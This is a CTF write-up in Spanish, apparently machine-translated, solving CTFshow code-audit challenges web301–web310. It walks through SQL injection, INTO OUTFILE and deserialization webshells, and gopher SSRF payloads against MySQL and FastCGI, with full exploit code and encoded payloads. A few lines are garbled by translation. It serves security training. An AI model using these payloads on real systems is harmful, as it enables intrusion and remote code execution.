Ctfshow capítulo de auditoría de código introductorio web web301-web310 soluciones detalladas de problemas

CTFshow código de auditoría web301

La estructura de directorios del archivo adjunto descargado es la siguiente:

imagen-20230915000900413

Después de abrir la pregunta, cuando ve la interfaz y el cuadro de entrada, se siente como SQL.

imagen-20230915001926432

Al examinar el código fuente, podemos encontrar que checklogin.phphay declaraciones SQL sin filtrar en el archivo y que la inyección SQL no es posible.

imagen-20230915001901264

Hay tres enfoques para la inyección SQL en esta pregunta.


método uno:

Las ciegas ordinarias, el tiempo y los valores booleanos son aceptables, por lo que no entraré en detalles aquí.


Método dos:

Inyección conjunta.

Al consultar conjuntamente datos que no existen, la consulta conjunta construirá datos virtuales, lo que equivale a crear una cuenta virtual, y puede usar esta cuenta para iniciar sesión.

De hecho, es fácil de entender: normalmente, cuando inyectamos conjuntamente, la carga útil suele ser así: ?id=1 and 1=2 union select 1,database()#. Se nos devuelven dos bits de eco 1 数据库名称. ¿De dónde viene este 1? Son ...select 1...los datos virtuales creados 1.

Luego explique las 17 líneas de declaraciones en el mismo archivo.Si if(!strcasecmp($userpwd,$row['sds_password']))se cumplen las condiciones, el inicio de sesión será exitoso. La función en PHP strcasecmp()compara cadenas, si str1 es menor que str2, devuelve < 0; si str1 es mayor que str2, devuelve > 0; si son iguales, devuelve 0.

orugas:

账号:-1' union select 1717#
密码:1717

La cuenta ingresó la declaración SQL y se empalmó, no se consultó el contenido, pero se crearon datos virtuales 1717. Entonces es el regreso 1717. El programa consideró 1717la contraseña consultada en la base de datos como el número de cuenta, y la contraseña que ingresamos también fue la misma 1717, strcasecmp()la función juzgó que era igual y el inicio de sesión fue exitoso.

Dar bandera si el inicio de sesión es exitoso

imagen-20230915002856684

Método tres:

Escribe al shell. También es una inyección SQL básica, por lo que no entraré en detalles sobre el principio.

carga útil:

账号:-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#
密码:1

Para acceder /shell.php, getshell directamente

imagen-20230915003344810

CTFshow código de auditoría web302

Modificación: if(!strcasecmp(sds_decode( userpwd ), userpwd),contraseña de usuario d ) , fila ['sds_password']))

Función sds_decode:

function sds_decode($str){
    
    
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

Se estima que la contraseña de la base de datos está cifrada. Por ejemplo, nuestra contraseña es 1717, después de cifrarse md5(md5('1717'.md5(base64_encode("sds")))."sds"), se almacena en la base de datos 1e715c20ac9c36a193b564d39ed5fd6b.

Todavía hay tres métodos. La inyección ciega y la escritura en el shell permanecen sin cambios. La inyección conjunta crea datos ficticios con sólo unos pocos cambios.

carga útil:

账号:-1' union select '1e715c20ac9c36a193b564d39ed5fd6b'#
密码:1717

imagen-20230915004315315

CTFshow código de auditoría web303

Estructura del directorio del código fuente:

imagen-20230916211235143

Después de descargar el código fuente y mirar el checklogin.phparchivo original, descubrí que la longitud de nuestro punto de inyección está limitada $usernamea 6 o menos, por lo que no podemos usar este punto de inyección para la inyección.

imagen-20230916211114538

Continúe mirando el código fuente y descubra que hay comentarios en los archivos dpt.phpy .dptadd.php//注入点

dpt.php

imagen-20230916213438043

dptadd.php

imagen-20230916213507503

Pero si queremos acceder a estos dos archivos, primero debemos iniciar sesión, $_SESSION['login']de lo contrario seremos redirigidos login.php. Continúe mirando el código fuente para descubrir cómo obtener la cuenta y la contraseña para iniciar sesión.

Encontramos la declaración rápida en fun.php echo sds_decode("admin");y supusimos que la contraseña de la cuenta esadmin

imagen-20230916213646199

Hay información de cuenta y contraseña en el archivo SQL. La contraseña está cifrada y escrita por la función, y la entrada en el cuadro de entrada no la afectará.

imagen-20230916221939825

Entrada del cuadro de entrada:

账号:admin
密码:admin

Interfaz después de iniciar sesión:

dpt.phpLa función es mostrar datos. Pero descubrimos que no hay variables controlables en la declaración SQL, ¡ni siquiera variables! Aquí está el punto de inyección falso.

imagen-20230916214201551

$_GET['id']=!empty($_GET['id'])?$_GET['id']:NULL;
$page=$_GET['id'];
						
$sql="select * from sds_dpt order by id;";
$result=$mysqli->query($sql);

dptadd.phpLa función es agregar datos (insertar en), la declaración SQL aquí tiene variables controlables y es el punto de inyección real. Podemos hacerlo insert注入, 报错注入porque die(mysqli_error($mysqli));se repite la declaración de error de SQL.

imagen-20230916214224806

	//注入点
	$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
	$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
	$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
	$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
	$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
	$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
	
	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);
	echo $sql;
	if($result===true){
    
    
		$mysqli->close();
		header("location:dpt.php");
	}else{
    
    
		die(mysqli_error($mysqli));
	}

1. insertar inyección

declaración SQL:

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

El principio es que una determinada variable de inserción se reemplaza por una declaración de consulta de selección. Al insertar, primero ejecute la declaración de consulta para encontrar los datos que queremos y luego escriba los datos que queremos (marca) en la base de datos donde podemos directamente Consúltelo, utilizando la función de consulta de datos propia del sistema, nos envía directamente los datos que queremos (los datos insertados, es decir, la bandera).

Por ejemplo, la siguiente declaración inserta el nombre de la base de datos en la tabla de usuarios.

$dpt_name="(select database())";
$sql="insert into user set name='".$dpt_name."';";

Empieza a hacer las preguntas:

Para buscar la tabla, es tan simple como pasar un parámetro y luego cerrarlo directamente.

dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

Campo de consulta

dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#

comprobar el valor de los datos

dpt_name=1',sds_address=(select flag from sds_fl9g)#

imagen-20230916220921839


2. Inyección de errores

No entraré en detalles sobre el método de inyección de clichés aquí, solo colocaré la carga útil directamente.

dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=xxx' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)#

imagen-20230916214833041

CTFshow código de auditoría web304

Tema Descripción:

imagen-20230916221132293

Pero después de escanear el código fuente, no encontré waf. Simplemente cambié el nombre de la tabla y sds_fl9glo reemplacé sds_flaagcon . Todo lo demás es igual que arriba.

Están disponibles tanto la inyección de inserción como la inyección de error.

carga útil:

dpt_name=1',sds_address=(select flag from sds_flaag)#

imagen-20230916222500011

CTFshow código de auditoría web305

Muy diferente a la pregunta anterior. En primer lugar, todos están en waf y la inyección SQL no funcionará. La contraseña de la cuenta de inicio de sesión aún estáadmin

imagen-20230917204625929

Pero class.phpla clase maliciosa (escritura de archivos) se encontró en y checklogin.phpla operación de deserialización se encontró en .

imagen-20230917210121582

imagen-20230917210133843

La idea es deserializar, escribir el shell en el archivo y luego controlar el servidor.

POC de deserialización:

<?php
class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
}
var_dump(urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>'))));
?>

carga útil: preste atención al enrutamiento

Cookie:
user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

imagen-20230917210755385

Después de que la carga fue exitosa, ejecuté getshell y descubrí que la bandera no estaba en el archivo, supuse que estaba en la base de datos.

Si desea aprovechar la base de datos con getshell, simplemente use Ant Sword para conectarse a la base de datos.

Primero, conecta la espada de la hormiga al caparazón.

La cuenta de la base de datos y la contraseña están allí conn.php, rootrespectivamente phpcj.

imagen-20230917211344230

Luego haga clic derecho en la operación de datos.

imagen-20230917211437199

Haga clic en Agregar.

imagen-20230917211447174

Tenga en cuenta que el tipo de base de datos es MYSQLIy la contraseña también se rootdesconoce. Más tarde descubrí que el código fuente leído en Ant Sword era diferente al que me había dado. conn.phpLa contraseña leída en Ant Sword eraroot

imagen-20230917211711344

Seleccione la columna y ejecútela para obtener la bandera.

imagen-20230917211804075

CTFshow código de auditoría web306

Descripción del título: Comience a usar la estructura mvc

Sigue siendo PHP deserialización y escritura en un archivo, esta vez es para construir una cadena POP simple.

Esta vez no es necesario iniciar sesión en la cuenta, simplemente agregue el usuario a la cookie. Tenga en cuenta que index.phpla decodificación base64 se realizará durante la deserialización.

imagen-20230917212446374

cadena:[index.php] unserialize->[dao.php] dao::__destruct()->[class.php] log::close()

POC de deserialización:

<?php
class dao{
    
    
	private $conn;

	public function __construct(){
    
    
		$this->conn=new log();
	}
}
class log{
    
    
	public $title='a.php';
	public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));

carga útil: preste atención al enrutamiento

Cookie:
user=TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

imagen-20230917212944376

La bandera está en el flag.phpdirectorio actual.

imagen-20230917213035951

CTFshow código de auditoría web307

Descripción del título: ¿Es más agradable a la vista?

Esta vez es una estructura MVC real.

O utilice la deserialización de PHP para construir una cadena POP simple y escribirla en un archivo.

No es necesario iniciar sesión en la cuenta, simplemente agregue el usuario a la cookie. Tenga en cuenta que logout.phpla decodificación base64 se realizará durante la deserialización.

imagen-20230917214409946

Primero busque la clase maliciosa. En /controller/service/dao/dao.phpla daoclase de archivo, puede unir el comando de ejecución para escribir el shell en el archivo.

imagen-20230917214043700

logout.phpContiene service.phpy llama clearCache()a la función. El servicio se daollama a través de la clase clearCache. logout.phpRequiere yservice.php requiere, por lo que la función se puede llamar directamente a través de la clase sin usar la clase de servicio.service.phpdao.phpdaoclearCache()

cadena:[/controller/logout.php] unserialize->[/controller/service/dao/dao.php] dao::clearCache()

POC de deserialización:

<?php
class config{
	public $cache_dir = 'xxx;echo  "<?php eval(\$_POST[1]);?>" >a.php;';
	//$不转义的话,双引号会把$_POST[1]解析
}	

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
$a=new dao();
echo base64_encode(serialize($a));

carga útil: preste atención al enrutamiento

Cookie:
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDU6Inh4eDtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=

imagen-20230917215149212

bandera en/var/www/html/flag.php

imagen-20230917215533683

CTFshow código de auditoría web308

Descripción del título: Necesito conseguir un caparazón

Estructura de directorios:

imagen-20230921142643599

Primero, vea si se puede utilizar el método de ataque anterior.

Inyección SQL:

No hay un punto de inyección obvio, no hay salida de mensaje de error SQL y todas las declaraciones de inserción están en waf. La inyección SQL no es posible.

imagen-20230921142328715

Deserializar para escribir archivo:

La función sin filtro file_put_contents()nunca se llama.

imagen-20230921142826182

Comando de ejecución de deserialización:

En waf, solo puedes ingresar letras mayúsculas y minúsculas.

imagen-20230921142928780

Desde este punto de vista, todos los métodos de ataque anteriores son ineficaces y necesitamos encontrar otros métodos.


Encontramos un código de firma SSRF obvio en la función y no hubo filtrado fun.php.checkUpdate()

function checkUpdate($url){
    
    
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

imagen-20230921143145647

Juntemos todo el código relevante:

//【index.php】
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    
    
    $lastVersion=$service->checkVersion();
}

//【dao.php】
class dao{
    
    
	private $config;

	public function checkVersion(){
    
    
			return checkUpdate($this->config->update_url);
		}
}

//【config.php】
class config{
    
    
	private $mysql_username='root';
    //没有密码!!!!!
	private $mysql_password='';

	public $update_url = 'https://vip.ctf.show/version.txt';
}

//【fun.php】
function checkUpdate($url){
    
    
		$ch=curl_init();	
		//...
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

Resulta que podemos usar SSRF para crear MySQL sin contraseña. La carga útil de SSRF /index.phpse pasa mediante deserialización.


Encontramos un problema aquí. No sabemos la contraseña para iniciar sesión como administrador. La contraseña aquí ya no está admincifrada con MD5.

imagen-20230921144047046

Muchos maestros, incluido yo hace un momento, pensarán: ¿No está /index.phpredirigido al medio /login.php?¿Cómo activar la deserialización?

De hecho, headerel código PHP final aún se ejecutará. Aunque se redirige, no afecta la ejecución posterior del código. Si SSRF lo golpea, aún debe ser golpeado por SSRF. La ejecución del código de terminación debe ir seguida de un exit();odie();

imagen-20230921143834290


Primero escribamos el POC de deserialización:

<?php

class dao{
    
    
	private $config;
	public function __construct(){
    
    
	$this->config=new config();
    }
}

class config{
    
    
 	public $update_url =SSRF打无密码mysql的payload】;
}

$a= new dao();
echo base64_encode(serialize($a));

?>

Luego generemos [carga útil SSRF para mysql sin contraseña]. Por cierto, este método de ataque corresponde al puerto 3306.

Abra la consola cmd en la carpeta correspondiente de la herramienta Gopherus. Dirección de descarga de herramientashttps://github.com/tarunkant/Gopherus

python2 gopherus.py --exploit mysql

Hay dos lugares para ingresar.

imagen-20230731164151899

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01

Si los parámetros se pasan directamente, la carga útil debe estar codificada en URL antes de enviarse. Porque se analizará automáticamente una vez que se envíe al servidor.

Pero aquí se realiza mediante deserialización. Al analizar la carga útil, ya está en el lado del servidor. No es necesario volver a codificarla. Simplemente cv en el POC.

Utilice la carga útil final generada por POC y luego /index.phppase los parámetros en la cookie en el enrutamiento (no es necesario iniciar sesión, simplemente capture el paquete y cambie la ruta directamente):

service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjM6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDEiO319

imagen-20230921145819409

Para acceder /1.phpa la ruta, getshell directamente.

imagen-20230921145918038

CTFshow código de auditoría web309

Descripción del título: Necesita obtener un shell, el método 308 no funciona, mysql tiene una contraseña.

Primero echemos un vistazo al código fuente. El código fuente aún no ha cambiado, tal vez no se haya actualizado.

imagen-20230921170555245

Primero use el POC de deserialización anterior para escanear manualmente el puerto.

<?php

class dao{
    
    
	private $config;
	public function __construct(){
    
    
	$this->config=new config();
    }
}

class config{
    
    
 	public $update_url = 'gopher://127.0.0.1:【端口】';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

Algunos puertos peligrosos son los siguientes:

#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm(FastCGI) 默认端口

Nunca respondió cuando el puerto estaba configurado en 9000. Es decir, hay un servicio en el puerto 9000.

principio:

Al enviar una solicitud al servidor, el servidor esperará a que enviemos datos y estará en estado de espera. Espere unas cuantas docenas de segundos como máximo.
El protocolo gopher solo envía datos y no realiza ninguna aplicación. Por lo tanto, cuando el protocolo gopher acceda a un puerto abierto, quedará "atascado", esperando a que transmitamos datos, para poder detectar si el puerto está abierto.
Se accede al script utilizando el protocolo gopher. Si excede los dos segundos (el servidor espera la recepción de datos), se considerará que el puerto está abierto. Si no se agota el tiempo de espera (el servidor lo rechaza directamente), significa que el El puerto no está abierto.

imagen-20230921170915692

Como en la pregunta anterior, el protocolo Gopher de SSRF usa FastCGI (puerto 9000).

Los ataques FastCGI deben cumplir cuatro condiciones:

1. La versión de PHP debe ser superior a 5.3.3 para modificar dinámicamente el archivo de configuración PHP.INI
2. Conozca la ruta absoluta de un archivo PHP en el entorno de preguntas
3. PHP-FPM escucha en el puerto local 9000
4. Versión libcurl >=7,45 ,0

La herramienta Gopherus genera cargas útiles que atacan FastCGI.

python2 gopherus.py --exploit fastcgi

Hay dos lugares donde puedes entrar.

第一个地方输入:
一个已知存在的php文件如/var/www/html/index.php  

第二个地方输入:
希望目标服务器执行的恶意命令,比如反弹shell:
tac f*

imagen-20230921171914622

Consigue la carga útil.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

Sustituya en el POC para generar directamente la carga útil.

imagen-20230921172030489

CTFmostrar código de auditoría web310

El código fuente sigue siendo el mismo.

Pruebe FastCGI primero como antes, esta vez escribiendo en el archivo, getshell es más conveniente.

第一个地方输入:
/var/www/html/index.php  

第二个地方输入:
echo  "<?php eval(\$_POST[1]);?>" >1.php

imagen-20230921190307100

Tráigalo al POC y pruébelo.

imagen-20230921190526825

Se descubrió que el archivo se puede escribir correctamente:

imagen-20230921190545291

Se acabó, esta ola de payasos se fue.

imagen-20230921190652654

Después de buscar con atención encontré el camino./var/flag/index.html

imagen-20230921192332089

Lee la bandera.

imagen-20230921192357156

Cambie de opinión y pruebe el pseudoprotocolo SSRF para leer archivos. Dado que se trata de nginxun servicio, nginx puede conectarse a php a través de fastcgi, por lo que también habrá información importante en el archivo de configuración de nginx. Lea el archivo de configuración del servicio nginx /etc/nginx/nginx.conf.

pseudoacuerdofile:///etc/nginx/nginx.conf

POS:

<?php

class dao{
    
    
	private $config;
	public function __construct(){
    
    
	$this->config=new config();
    }
}

class config{
    
    
 	public $update_url = 'file:///etc/nginx/nginx.conf';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

imagen-20230921191433089

El contenido del archivo de configuración es el siguiente:

daemon off;

worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

Cada bloque http puede contener varios bloques de servidor, y cada bloque de servidor es equivalente a un host virtual. Varios hosts pueden proporcionar servicios conjuntamente dentro de él y juntos proporcionar un conjunto de servicios lógicamente estrechamente relacionados al mundo exterior.

Prestando atención a la última parte, encontramos que el puerto 4476 está dirigido a /var/flag, y el contenido del archivo de bandera se puede obtener accediendo al puerto 4476 en la intranet /var/flag.

server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;
}

POC final:

<?php

class dao{
    
    
	private $config;
	public function __construct(){
    
    
	$this->config=new config();
    }
}

class config{
    
    
 	public $update_url = 'http://127.0.0.1:4476';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

imagen-20230921192447359

Supongo que te gusta

Origin blog.csdn.net/Jayjay___/article/details/133146315
Recomendado
Clasificación